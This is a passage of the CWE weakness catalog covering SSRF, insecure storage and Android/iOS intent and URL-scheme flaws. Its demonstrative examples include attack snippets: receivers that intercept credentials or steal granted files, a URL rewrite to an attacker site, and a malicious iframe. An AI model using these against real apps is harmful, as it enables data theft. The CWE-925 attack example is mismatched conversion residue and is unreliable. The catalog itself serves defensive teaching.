**Language** : Java (*Prevalence = Undetermined*)

### Alternate Terms

**EL Injection** :

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
-------	--------	------------

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1027	OWASP Top Ten 2017 Category A1 - Injection	<input checked="" type="checkbox"/>	1026 1903

### Notes

#### Relationship

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

## CWE-918: Server-Side Request Forgery (SSRF)

**Weakness ID** : 918

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

### Extended Description

By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	948

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Undetermined*)

### Alternate Terms

**XSPA** : Cross Site Port Attack

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

### Observed Examples

Reference	Description
<b>CVE-2002-1484</b>	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1484">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1484</a>
<b>CVE-2004-2061</b>	CGI script accepts and retrieves incoming URLs. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2061">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2061</a>
<b>CVE-2010-1637</b>	Web-based mail program allows internal network scanning using a modified POP3 port number. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1637">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1637</a>
<b>CVE-2009-0037</b>	URL-downloading library automatically follows redirects to file:// and scp:// URLs <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0037">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0037</a>

### Notes

#### Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

## CWE-920: Improper Restriction of Power Consumption

**Weakness ID** : 920

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software operates in an environment in which power is a limited resource that cannot be automatically replenished, but the software does not properly restrict the amount of power that its operation consumes.

### Extended Description

In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the software itself, and the device might not always be directly attached to a reliable power source. If the software uses too much power too quickly, then this could cause the device (and subsequently, the software) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.

Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:

- Display
- CPU
- Disk I/O
- GPS
- Sound
- Microphone
- USB interface

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart  <i>The power source could be drained, causing the application - and the entire device - to cease functioning.</i>	

## CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

**Weakness ID** : 921

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software stores sensitive information in a file system or device that does not have built-in access control.

### Extended Description

While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.

On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-922: Insecure Storage of Sensitive Information

**Weakness ID** : 922

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

## Description

The software stores sensitive information without properly limiting read or write access by unauthorized actors.

## Extended Description

If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>Attackers can read sensitive information by accessing the unrestricted storage mechanism.</i>	
Integrity	Modify Application Data Modify Files or Directories  <i>Attackers can read sensitive information by accessing the unrestricted storage mechanism.</i>	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	1973

## Notes

### Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

### Maintenance

This is a high-level node that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.

## CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

**Weakness ID :** 923

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Class

### Description

The software establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.

### Extended Description

Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.

While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

<b>Weakness ID</b> : 924	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

### Extended Description

Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-925: Improper Verification of Intent by Broadcast Receiver

**Weakness ID** : 925

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

### Extended Description

Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1600

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Alternate Terms

**Intent Spoofing** :

### Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity  <i>Another application can impersonate the operating system and cause the software to perform an unintended action.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: XML*

*(bad)*

```
<manifest package="com.example.vulnerableApplication">
  <application>
    ...
    <receiver android:name=".ShutdownReceiver">
      <intent-filter>
        <action android:name="android.intent.action.ACTION_SHUTDOWN" />
      </intent-filter>
    </receiver>
    ...
  </application>
</manifest>
```

The ShutdownReceiver class will handle the intent:

Example Language: Java

(bad)

```
...
IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);
BroadcastReceiver sReceiver = new ShutDownReceiver();
registerReceiver(sReceiver, filter);
...
public class ShutdownReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(final Context context, final Intent intent) {
        mainActivity.saveLocalData();
        mainActivity.stopActivity();
    }
}
```

Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:

Example Language: Java

(attack)

```
window.location = examplescheme://method?parameter=value
```

An attacker can use this behavior to cause a denial of service.

## Notes

### Maintenance

This entry will be made more comprehensive in later CWE versions.

## CWE-926: Improper Export of Android Application Components

**Weakness ID :** 926

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.

### Extended Description

The attacks and consequences of improperly exporting a component may depend on the exported component:

- If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.

- If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.
- If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	621

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

## Background Details

There are three types of components that can be exported in an Android application.

### Activity

An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.

### Service

A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.

### Content Provider

The Content Provider mechanism can be used to share data with other applications or internally within the same application.

## Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State DoS: Crash, Exit, or Restart DoS: Instability Varies by Context	
	<i>Other applications, possibly untrusted, can launch the Activity.</i>	
Availability Integrity	Unexpected State Gain Privileges or Assume Identity DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	DoS: Instability Varies by Context  <i>Other applications, possibly untrusted, can bind to the Service.</i>	
Confidentiality Integrity	Read Application Data Modify Application Data  <i>Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.</i>	

### Potential Mitigations

#### Phase: Build and Compilation

*Strategy = Attack Surface Reduction*

If they do not need to be shared by other applications, explicitly mark components with `android:exported="false"` in the application manifest.

#### Phase: Build and Compilation

*Strategy = Attack Surface Reduction*

If you only intend to use exported components between related apps under your control, use `android:protectionLevel="signature"` in the xml manifest to restrict access to applications signed by you.

#### Phase: Build and Compilation

#### Phase: Architecture and Design

*Strategy = Attack Surface Reduction*

Limit Content Provider permissions (read/write) as appropriate.

#### Phase: Build and Compilation

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Limit Content Provider permissions (read/write) as appropriate.

### Demonstrative Examples

#### Example 1:

This application is exporting an activity and a service in its manifest.xml:

*Example Language: XML*

*(bad)*

```
<activity android:name="com.example.vulnerableApp.mainScreen">
...
<intent-filter>
  <action android:name="com.example.vulnerableApp.OPEN_UI" />
  <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
...
</activity>
<service android:name="com.example.vulnerableApp.backgroundService">
...
<intent-filter>
  <action android:name="com.example.vulnerableApp.START_BACKGROUND" />
</intent-filter>
...
</service>
```

Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.

### Example 2:

This application has created a content provider to enable custom search suggestions within the application:

Example Language: XML

(bad)

```
<provider>
  android:name="com.example.vulnerableApp.searchDB"
  android:authorities="com.example.vulnerableApp.searchDB">
</provider>
```

Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.

[REF-923]Android Open Source Project. "Security Tips". 2013 July 6. < <http://developer.android.com/training/articles/security-tips.html#ContentProviders> >.

## CWE-927: Use of Implicit Intent for Sensitive Communication

**Weakness ID** : 927

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The Android application uses an implicit intent for transmitting sensitive data to other applications.

### Extended Description

Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.

Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1301
ChildOf		285	Improper Authorization	621

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Other applications, possibly untrusted, can read the data that is offered through the Intent.</i>	
Integrity	Varies by Context  <i>The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.</i>	

## Potential Mitigations

### Phase: Implementation

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

## Demonstrative Examples

### Example 1:

This application wants to create a user account in several trusted applications using one broadcast intent:

*Example Language: Java*

*(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:

*Example Language: Java*

*(attack)*

```
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

When a broadcast contains sensitive information, create a whitelist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.

**Example 2:**

This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

*Example Language: Java*

*(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

*Example Language: Java*

*(attack)*

```
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

**Example 3:**

This application is sending an ordered broadcast, asking other applications to open a URL:

*Example Language: Java*

*(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:

*Example Language: Java*

*(attack)*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String url = intent.getStringExtra(Intent.URL_TO_OPEN);
        attackURL = "www.example.com/attack?" + url;
        setResultData(attackURL);
    }
}
```

The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.

**Example 4:**

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

*Example Language: Java*

*(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Example Language: Java

(attack)

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG\_GRANT\_READ\_URI\_PERMISSION included with the intent, the malicious receiver code can read the user's data.

## Notes

### Maintenance

This entry will be made more comprehensive in later CWE versions.

## CWE-939: Improper Authorization in Handler for Custom URL Scheme

Weakness ID : 939

Status: Incomplete

Structure : Simple

Abstraction : Base

## Description

The software uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.

## Extended Description

Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		862	Missing Authorization	1563

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	1893

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1212	Authorization Errors	1941

### Applicable Platforms

**Technology** : Mobile (*Prevalence = Undetermined*)

### Potential Mitigations

#### Phase: Architecture and Design

Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if a whitelist of applications to interface with is appropriate.

### Demonstrative Examples

#### Example 1:

This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.

External Application

*Example Language: Objective-C*

*(good)*

```
NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&text=hello";
NSURL *url = [NSURL URLWithString:stringURL];
[[UIApplication sharedApplication] openURL:url];
```

Application URL Handler

*Example Language:*

*(bad)*

```
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
    if (!url) {
        return NO;
    }
    NSString *action = [url host];
    if([action isEqualToString: @"replaceFileText"]) {
        NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];
        //this function will write contents to a specified file
        FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];
    }
    return YES;
}
```

The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.

*Example Language: HTML*

*(attack)*

```
<iframe src="appscheme://replaceFileText?file=Bookmarks.dat&text=listOfMaliciousWebsites">
```

The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since replaceFileText is a potentially dangerous action, an action that modifies data, there should be a sanity check before the writeToFile:withText: function.

**Example 2:**

These Android and iOS applications intercept URL loading and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java

(bad)

```
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if (url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
    }
    else{
        return true;
    }
}
}
```

Example Language: Objective-C

(bad)

```
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript

(attack)

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

**Observed Examples**

Reference	Description
<b>CVE-2013-5725</b>	URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5725">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5725</a>
<b>CVE-2013-5726</b>	URL scheme has action follow and favorite which allows remote attackers to force user to perform undesired actions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5726">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5726</a>

## CWE-940: Improper Verification of Source of a Communication Channel

**Weakness ID** : 940

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

### Extended Description

When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1600

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	1897

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		417	Communication Channel Errors	1794

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
Other	Varies by Context	
<i>An attacker can access any functionality that is inadvertently accessible to the source.</i>		

### Potential Mitigations

#### Phase: Architecture and Design

Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using a MITM attack. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if a whitelist of applications to interface with is appropriate.

### Demonstrative Examples

#### Example 1:

This Android application will remove a user account when it receives an intent to do so:

Example Language: Java

(bad)

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create a whitelist of trusted applications using the manifest.xml file.

### Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java

(bad)

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C

(bad)

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript

(attack)

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

### Observed Examples

Reference	Description
<b>CVE-2000-1218</b>	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1218">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1218</a>
<b>CVE-2005-0877</b>	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0877">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0877</a>
<b>CVE-2001-1452</b>	DNS server caches glue records received from non-delegated name servers <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1452">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1452</a>

### Notes

#### Relationship

While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.

### Related Attack Patterns

[REF-324]Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995 August 1. < <http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf> >.

## CWE-941: Incorrectly Specified Destination in a Communication Channel

<b>Weakness ID</b> : 941	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.

### Extended Description

Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.

There are at least two distinct weaknesses that can cause the software to communicate with an unintended destination:

- If the software allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false

source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.

- If the software incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses. For example, the software might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a "sticky broadcast" to communicate with a receiver for a particular application, but since sticky broadcasts can be processed by \*any\* receiver, this can allow a malicious application to access restricted data that was only intended for a different application.

## Relationships

